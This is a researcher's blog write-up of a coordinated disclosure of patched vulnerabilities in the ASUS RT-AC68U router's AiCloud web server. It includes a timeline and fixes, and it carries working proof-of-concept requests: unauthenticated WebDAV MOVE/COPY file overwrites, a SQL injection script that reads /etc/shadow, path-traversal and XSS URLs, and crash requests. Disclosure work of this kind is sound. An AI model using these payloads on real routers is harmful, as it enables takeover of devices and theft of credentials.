robertchen.cc twitter
Over the summer of my junior year, I decided to do some router pentesting. Embedded security always seemed very fun to me. I liked the idea of breaking things that are found in our everyday lives, and what better place to start than my router. I was also inspired by my friend @arinerron who had some success with his router previously.
I dumped the firmware and started analyzing the binaries in Ghidra. I also found a GitHub repository containing a modified version of the source which greatly helped with the reversing process.
In the end, I managed to find a pre-auth arbitrary file read vulnerability, which could be used to dump /etc/shadow
. From here, this could be chained with an authenticated arbitrary file write vulnerability to achieve code execution.
A shodan search suggests that around 200 thousand routers online could be potentially vulnerable, although because some specialized configuration is required the actual number is probably a bit lower.
One thing I found interesting was how many of the vulnerabilities involved “off-by-slash” issues. For example, requests to /smb/*
required authentication but not /smb
. If anything, this shows the importance of paying attention to the details when performing code audits.
It was also cool how there was an exploitable SQL injection vulnerability in such a seemingly low-level target.
Even though the code quality wasn’t the highest - many of these vulnerabilities were not very well hidden - this was overall a pretty fun exercise in code-review.
08/18/2020 - Vulnerability submitted to [email protected]
08/18/2020 - Vendor response
10/25/2020 - Beta firmware - official release “in one month”
12/19/2020 - Additional correspondence
01/18/2021 - 3.0.0.4.386.41634
released
This is an adapted version of the writeup that was sent to the ASUS security team.
This document summarizes the results of my pentesting against ASUS RT-AC68U on the latest firmware version 3.0.0.4.385_20632
. These vulnerabilities range from simple denial of service, to a no-interaction unauthenticated remote code execution chain. Many of these likely apply to other similar router versions as well. I also discuss several solutions for remediation.
These were patched in version 3.0.0.4.386.41634
.
Overall, I present the following vulnerabilities:
Note that you will need to enable the lighttpd server by going to http://router.asus.com/cloud_main.asp and enabling Cloud Disk.
Additionally, some of the exploits require the mounting of an external device.
No authentication file-write to /mnt/*
. An attacker chain this with MOVE/COPY Off By Slash
to remotely brick a router, for example, by overwriting /etc/shadow
or other important configuration files.
There are two relevant primitives - file creation and directory creation.
fetch("/smb/js/jplayer", {
"headers": {
"destination": "https://domain.tld/RT-AC68U/customdir",
"overwrite": "T",
},
"body": "",
"method": "MOVE"
});
directory creation
fetch("/smb/control", {
"headers": {
"destination": "https://domain.tld/RT-AC68U/customdir/testfile",
"overwrite": "T",
},
"body": "",
"method": "MOVE"
});
file creation
This allows an attacker to overwrite arbitrary contents under /mnt
. Note that an attacker is able to create any file structure they desire with these primitives. However, while the file layout is attacker controlled, the content within the files is not.
Improper sanitation on the source for COPY and MOVE operations allows an attacker to load preexisting files from the router, even without authentication.
con->physical.path
starts with /mnt
in the mod_webdav.so
for HTTP_METHOD_MOVE
and HTTP_METHOD_COPY
.Authenticated arbitrary file write to /*
. Can escalate to RCE by overwriting executable files, for example /etc/zcip
. Can also modify internal variables such as the router password by writing to /dev/nvram
.
Create a directory structure as such.
/mnt
/USB-NAME
/path
/etc
passwd
Run the below JavaScript.
fetch("/RT-AC68U/USB-NAME/path", {
"headers": {
"overwrite": "T",
"destination": "https://domain.tld/",
},
"body": "",
"method": "COPY",
});
This will overwrite /etc/passwd
.
Improper sanitation on the target for COPY and MOVE operations gives an attacker an arbitrary file-write primitive.
p->physical.path
starts with /mnt
in the mod_webdav.so
for HTTP_METHOD_MOVE
and HTTP_METHOD_COPY
.No-authentication arbitrary file copying from /mnt/*
to /*
. Can combine with MOVE/COPY Priming
to remotely brick a router, for example, by overwriting /etc/shadow
or other important configuration files.
Create a directory structure as such.
/mnt
/etc
passwd
Run the below JavaScript.
fetch("/RT-AC68U", {
"headers": {
"overwrite": "T",
"destination": "https://domain.tld/",
},
"body": "",
"method": "COPY",
});
The authentication handler has an off-by-slash error, matching for /RT-AC68U/
instead of /RT-AC68U
. Thus, it allows unauthenticated requests to /RT-AC68U
to hit the endpoint (note that adding a slash results in a 401). This allows an attacker to perform a copy operation from /mnt
to /
, exploiting a similar vulnerability as in MOVE/COPY Clobbering
. By creating a fake directory structure with MOVE/COPY Priming
, these two vulnerabilities give an attacker a write-anywhere primitive.
/RT-AC68U
instead of /RT-AC68U/
.No user-interaction arbitrary file-read. By reading /etc/shadow
, an unauthorized remote attacker can disclose a hashed password. Cracking this offline gives the router password. Can be combined with MOVE/COPY Clobbering
for a full no-interaction RCE chain.
You will need to enable the Digital Media Server functionality.
Run the below javascript, for example in the dev console, while on the AiCloud page.
(async() => {
var author = "" + Math.random();
var path = "/etc/shadow";
var dId = Math.floor(100000 * Math.random()) + 10000
var oId = Math.floor(100000 * Math.random()) + 10000
var pId = Math.floor(100000 * Math.random()) + 10000
var val = ("a' OR 1 ); INSERT INTO DETAILS (TITLE, ALBUM_ART, ARTIST, ID) VALUES ('a', '" + pId + "', '" + author + "', " + dId + "); -- ").split("'").join("%27")
console.log(val.length)
await fetch("/smb", {
"headers": {
"keyword": val,
"mediatype": "1",
},
"body": "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\" ?><D:propfind xmlns:D=\"DAV:\"><D:prop><D:getlastmodified/><D:getcontentlength/><D:getcontenttype/><D:getmatadata/></D:prop></D:propfind>",
"method": "PROPFINDMEDIALIST",
});
val = ("a' OR 1 ); INSERT INTO OBJECTS (PARENT_ID, OBJECT_ID, DETAIL_ID, CLASS) VALUES ('1$7', " + oId + ", " + dId + ", 'container.album.musicAlbum'); -- ").split("'").join("%27")
console.log(val.length)
await fetch("/smb", {
"headers": {
"keyword": val,
"mediatype": "1",
},
"body": "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\" ?><D:propfind xmlns:D=\"DAV:\"><D:prop><D:getlastmodified/><D:getcontentlength/><D:getcontenttype/><D:getmatadata/></D:prop></D:propfind>",
"method": "PROPFINDMEDIALIST",
});
val = ("a' OR 1 ); INSERT INTO ALBUM_ART (PATH, ID) VALUES ('" + path + "', " + pId + "); -- ").split("'").join("%27")
console.log(val.length)
await fetch("/smb", {
"headers": {
"keyword": val,
"mediatype": "1",
},
"body": "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\" ?><D:propfind xmlns:D=\"DAV:\"><D:prop><D:getlastmodified/><D:getcontentlength/><D:getcontenttype/><D:getmatadata/></D:prop></D:propfind>",
"method": "PROPFINDMEDIALIST",
});
await fetch("/smb", {
"headers": {
"classify": "album",
},
"body": "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\" ?><D:propfind xmlns:D=\"DAV:\"><D:prop><D:getlastmodified/><D:getcontentlength/><D:getcontenttype/><D:getmatadata/></D:prop></D:propfind>",
"method": "GETMUSICCLASSIFICATION"
}).then(a => a.text()).then(b => {
var aidx = b.indexOf(author)
var pay = b.substring(b.indexOf("<thumb_image>", aidx) + "<thumb_image>".length, b.indexOf("</thumb_image>", aidx))
console.log(atob(pay))
})
})()
//- Avoid SQL injection!
if( keyword!=NULL && strstr(keyword->ptr, "'")!=NULL) {
Cdbg(DBE, "keyword is invalid!");
...
if(!buffer_is_empty(keyword)){
buffer_urldecode_path(keyword);
mod_webdav.c
The check for SQL injection happens before the url decode. This allows an attacker to pass in a URL-encoded single quote, %27, bypassing any SQL injection mitigations. In addition, stacked queries are enabled allowing an attacker to easily chain statements. This can be used to create a fake album, which is ultimately triggered by the GETMUSICCLASSIFICATION
method, passing a fake filepath to get_album_cover_image
.
char* album_cover_file = result2[1];
FILE* fp = fopen(album_cover_file, "rb");
mod_webdav.c
The contents of this file pointer are then read into a buffer, and then passed directly back to the attacker.
bufer_urldecode_path
.album_cover_file
, for example strncmp(album_cover_file, "/mnt", 4)
Given a single valid share link, an attacker can disclose any other file.
Create a file structure as shown (a single folder with files a.txt and b.txt).
/mnt/XXX
a.txt
b.txt
Create a sharelink for a.txt. Append /%2e%2e/b.txt
to the sharelink.
Your final URL should look like https://domain.tld/AICLOUDXXXXXXX/a.txt/%2e%2e/b.txt
. Curl the URL - curl -k https://domain.tld/AICLOUDXXXXXXX/a.txt/%2e%2e/b.txt
- and note that b.txt gets downloaded.
mod_aicloud_sharelink_parser
URL decodes the path, but fails to filter out path traversals like /../
after decoding.
/../
from AICLOUD pathsWith user-interaction account takeover - total file disclosure and chain with above to remote code execution.
While logged in, visit /smb/css/service/picasa.html?v=%3C%2ftextarea%3E%3Cscript%3Ealert(%27XSS%27)%3C%2fscript%3E.jpg
The abbreviated JS is shown below.
var uploadfile_url = getUrlVars()["v"];
...
var this_filename = decodeURIComponent( uploadfile_url
.substr( uploadfile_url.lastIndexOf("/") + 1, uploadfile_url.length-1 ) );
...
upload_html += '<textarea style="resize: none; width: 292px; height: 82px;"
autocomplete="off" id="title" name="title" class="x-form-textarea x-form-field
service_upload_field ' + className + '">' + this_filename + '</textarea>';
Note that the value of the v
parameter is reflected directly into the HTML (after decoding). A malicious filename like </textarea><script>alert('XSS')</script>
allows an attacker to inject scripts. This could be done silently from an attacker controlled webpage, giving an attacker access to the router as long as the user is logged in.
this_filename
before injecting into the HTML, as shown below.return mystring.replace(/&/g, "&").replace(/>/g, ">").replace(/</g, "<").replace(/"/g, """);
<>
.Same impact scenario as picasa.html XSS
.
While logged out, navigate to /RT-AC68U/zz%27onmouseover=a.hidden=true;alert(origin)%20id=a%20style=width:100vw;position:fixed;top:0;height:100vh;opacity:0.01%20a=
The handler for urlInfo fails to escape single quotes.
buffer_copy_string_len(out, CONST_STR_LEN("<input class='urlInfo' value='"));
buffer_append_string_buffer(out, con->url.rel_path);
buffer_append_string_len(out, CONST_STR_LEN("' type='hidden'>"));
connections.c
'
Same impact scenario as picasa.html XSS
.
Navigate to /smb/..%2f'onload='alert(origin)
while logged in`.
This injects the openurl
property on body. The final rendered HTML is as such.
<body openurl='/smb/../'onload='alert(origin)' fileview_only='1'></body>
'
No interaction/authentication denial of service.
Run the below code in the developer console on the lighttpd webpage. This sends a POST request with body “junk” to /AINVITE
.
fetch("/AINVITE", {
"body": "junk",
"method": "POST"
});
The handler for post data looks as such.
iVar1 = parse_postdata_from_chunkqueue(param_1,param_2,param_2->field_0x54,&local_6c);
if ((iVar1 == 0) && (local_6c != (void *)0x0)) {
action_value = (char *)get_url_param_ualue(local_6c,"action");
iVar1 = strcmp(action_value,"register");
Note that if get_url_param_ualue(local_6c, "action")
, which gets the form data parameter, returns a null value the subsequent call to strcmp
will result in a NULL pointer dereference.
get_url_param_ualue(local_6c, "action")
to see if it is NULL before passing into strcmp
./AINVIT
DOSNo interaction/authentication denial of service.
Visit /AINVIT
. This will crash the lighttpd instance.
In the handler mod_aicloud_invite.so
, the comparison logic looks as such.
iVar1 = strncmp(*param_2->field_0x108,"/AINVITE",7);
if (iVar1 == 0) {
local_38 = strstr(*param_2->field_0x108,"/AINVITE");
local_38 = local_38 + 1;
if (local_38 == (char *)0x0) {
param_2->field_0x80 = 400;
param_2->field_0x48 = 1;
ret_code = 2;
}
Note that however, the length of “/AINVITE” is 8. Thus, if /AINVIT
is sent, it’ll pass the strncmp comparison, while returning null for strstr
. While there is a null check, the pointer is incremented by 1, making it worthless. This results in a null pointer dereference later.